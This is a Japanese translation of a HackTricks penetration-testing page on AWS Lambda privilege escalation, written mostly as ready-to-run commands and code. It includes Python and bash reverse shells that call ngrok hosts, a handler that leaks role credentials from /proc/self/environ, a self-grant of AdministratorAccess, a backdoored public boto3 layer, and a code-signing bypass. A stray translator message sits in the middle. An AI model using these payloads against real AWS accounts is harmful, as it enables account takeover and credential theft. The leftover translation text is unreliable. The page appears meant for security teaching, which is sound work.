Files

18 KiB
Raw Blame History

AWS - Lambda Privesc

{{#include ../../../../banners/hacktricks-training.md}}

lambda

More info about lambda in:

{{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}}

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction の権限を持つユーザーは権限昇格が可能です。
新しい Lambda function を作成して既存の IAM role を割り当てることで、その role に紐づく権限を関数に付与できます。ユーザーはその Lambda function にコードを書き込みアップロードし(例: rev shell
関数が設定されると AWS API 経由で Lambda function を呼び出して実行させ、目的の操作を実行できます。この方法により、ユーザーは関連付けられた IAM role に与えられた権限レベルで、Lambda function を通じて間接的に操作を行えます。\

攻撃者はこれを悪用して rev shell を取得し token を盗む:

import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

また、lambda function 自身から lambda role permissions を悪用する こともできます。
lambda role に十分な権限があれば、それを使って自分に管理者権限を付与することができます:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

外部接続を必要とせずに lambda's role credentials を leak することも可能です。

これは内部タスクで使用される Network isolated Lambdas に対して有用です。

不明な security groups があなたの reverse shells をフィルタしている場合、このコードは lambda の出力として credentials を直接 leak することを可能にします。

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potential Impact: 指定された任意の lambda サービスロールへの直接的な privesc。

Caution

一見興味深く見えても、lambda:InvokeAsync は単独では aws lambda invoke-async を実行することを許可しませんlambda:InvokeFunction も必要です

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

前のシナリオと同様に、lambda:AddPermission の権限があれば、自分に lambda:InvokeFunction の権限を付与できます。

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

潜在的影響: 指定された任意の Lambda サービスロールへの直接的な privesc。

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping の権限(および場合によっては dynamodb:PutItemdynamodb:CreateTable)を持つユーザーは、lambda:InvokeFunction がなくても間接的に escalate privileges できます。
悪意あるコードを含む Lambda function を作成し既存の IAM role を割り当てる ことが可能です。

Lambda を直接呼び出す代わりに、ユーザーは既存の DynamoDB テーブルを設定または利用し、それを event source mapping を通して Lambda に紐付けます。この構成により、テーブルに新しいアイテムが追加されるとユーザーの操作か別プロセスによるかにかかわらずLambda function が テーブルへの新しいアイテム登録時に自動的にトリガーされる ようになり、結果として間接的に Lambda function が呼び出され、渡された IAM role の権限でコードが実行されます。

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

DynamoDB が既に AWS 環境で有効になっている場合、ユーザーは Lambda 関数のために イベントソースマッピングを確立するだけでよい。しかし、DynamoDB が使用されていない場合、ユーザーは ストリーミングを有効にした新しいテーブルを作成する必要がある

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

これでLambda functionをDynamoDB tableに接続するために、event source mappingを作成することができます:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Lambda 関数が DynamoDB stream にリンクされている場合、攻撃者は DynamoDB stream を有効化して Lambda を間接的にトリガーする ことができます。これは DynamoDB table にアイテムを挿入する ことで達成できます:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

潜在的な影響: 指定された lambda サービスロールへの直接的な privesc。

lambda:AddPermission

この権限を持つ攻撃者は 自分自身(または他者)に任意の権限を付与することができる(これはリソースへのアクセスを付与するためのリソースベースのポリシーを生成する):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

潜在的影響: コードを変更して実行する権限を付与することで、使用されている lambda の service role への直接的な privesc。

lambda:AddLayerVersionPermission

この権限を持つ攻撃者は、自分自身(または他者)に lambda:GetLayerVersion の権限を付与することができます。レイヤーにアクセスし、脆弱性や機密情報を調査する可能性があります。

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potential Impact: 機密情報へのアクセスの可能性があります。

lambda:UpdateFunctionCode

lambda:UpdateFunctionCode 権限を持つユーザーは、IAM ロールに紐付いた既存の Lambda 関数のコードを変更する可能性があります。
攻撃者は Lambda のコードを変更して IAM 資格情報を exfiltrate することができます。

攻撃者が関数を直接呼び出す権限を持っていない場合でも、Lambda 関数が既に存在して稼働している場合は、既存のワークフローやイベントによってトリガーされる可能性が高く、結果として変更されたコードの実行が間接的に可能になります。

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

潜在的な影響: 使用されている lambda サービスロールへの直接的な privesc。

lambda:UpdateFunctionConfiguration

RCE via env variables

この権限があれば、Lambda に任意のコードを実行させるような環境変数を追加することが可能です。例えば python では、環境変数 PYTHONWARNINGBROWSER を悪用して python プロセスに任意のコマンドを実行させることができます:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

他のスクリプト言語では使用できる別の env variables があります。詳しくは以下の scripting languages のサブセクションを参照してください:

{{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html {{#endref}}

RCE via Lambda Layers

Lambda Layers は、code を lamdba function に含められるようにしますが、storing it separately によって関数のコードを小さく保ち、several functions can share code

lambda 内では、python code が読み込まれるパスを以下のような関数で確認できます:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

These are the places:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

For example, the library boto3 is loaded from /var/runtime/boto3 (4th position).

Exploitation

権限 lambda:UpdateFunctionConfiguration を悪用して、lambda 関数に 新しいレイヤーを追加する ことが可能です。任意のコードを実行するために、このレイヤーには lambda がインポートするライブラリ が含まれている必要があります。lambda のコードを読めるなら、これを簡単に見つけられます。さらに、lambda が すでにレイヤーを使用している 場合があり、そのレイヤーを ダウンロード して 自分のコードを追加する ことも可能です。

For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:

pip3 install -t ./lambda_layer boto3

./lambda_layer/boto3/__init__.py を開き、global code に backdoor を追加できます(例: 資格情報を exfiltrate する関数や reverse shell を取得する関数)。

その後、./lambda_layer ディレクトリを zip 化して 新しい lambda layer を 自分のアカウント(または被害者のアカウント)にアップロードします(被害者のアカウントに対する権限がない場合があります)。
/opt/python/boto3 を上書きするには python フォルダを作成してライブラリをそこに入れる必要があります。また、layer は Lambda が使用する python version と互換性がある 必要があり、自分のアカウントにアップロードする場合は same region: に配置する必要があります。

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

では、アップロードした lambda layer を 任意のアカウントからアクセス可能に します:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

そして、lambda layer を被害者の lambda function にアタッチします:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

次のステップは、可能であれば自分で関数を呼び出すか、通常の方法でi呼び出されるのを待つことです — こちらの方が安全な方法です。

この脆弱性をよりステルスに悪用する方法は以下で確認できます:

{{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}}

潜在的影響: 使用されている lambda サービスロールへの直接的な privesc。

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

これらの権限があれば関数を作成してURLを呼び出して実行できるかもしれません…しかし私の方ではテスト方法を見つけられなかったので、もし試せたら教えてください

Lambda MitM

一部の lambdas はパラメータでユーザーから機密情報を受け取ることがあります。もしそのうちの一つで RCE を得られれば、他のユーザーが送っている情報を exfiltrate できます。詳細は次を参照してください:

{{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}}

参考

{{#include ../../../../banners/hacktricks-training.md}}

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Lambda Code Signing をバイパス

もし Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これにより、関数の IAM ロールやトリガーを変更することなく整合性保護を回避できます。

Permissions (one of):

  • Path A: lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Path B: lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

Notes:

  • Path B の場合、CSC ポリシーが WARN に設定されていれば AWS Signer プロファイルは不要です(未署名のアーティファクトが許可されます)。

Steps (REGION=us-east-1, TARGET_FN=):

Prepare a small payload:

cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

パス A) CSC を削除してからコードを更新:

aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

パスB) Warn にダウングレードしてコードを更新する(削除が許可されていない場合):

CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

確認しましたが、翻訳するソースREADME.md の内容が提供されていません。該当ファイルのテキストを貼り付けてください。貼り付けていただければ、指定どおりマークダウンHTML構文やリンク・コード・タグを保持したまま英→日翻訳します。

aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

潜在的な影響: signed deployments を強制することになっていた function に任意の unsigned code をプッシュして実行できる能力があり、結果として function role の permissions での code execution につながる可能性があります。

クリーンアップ:

aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true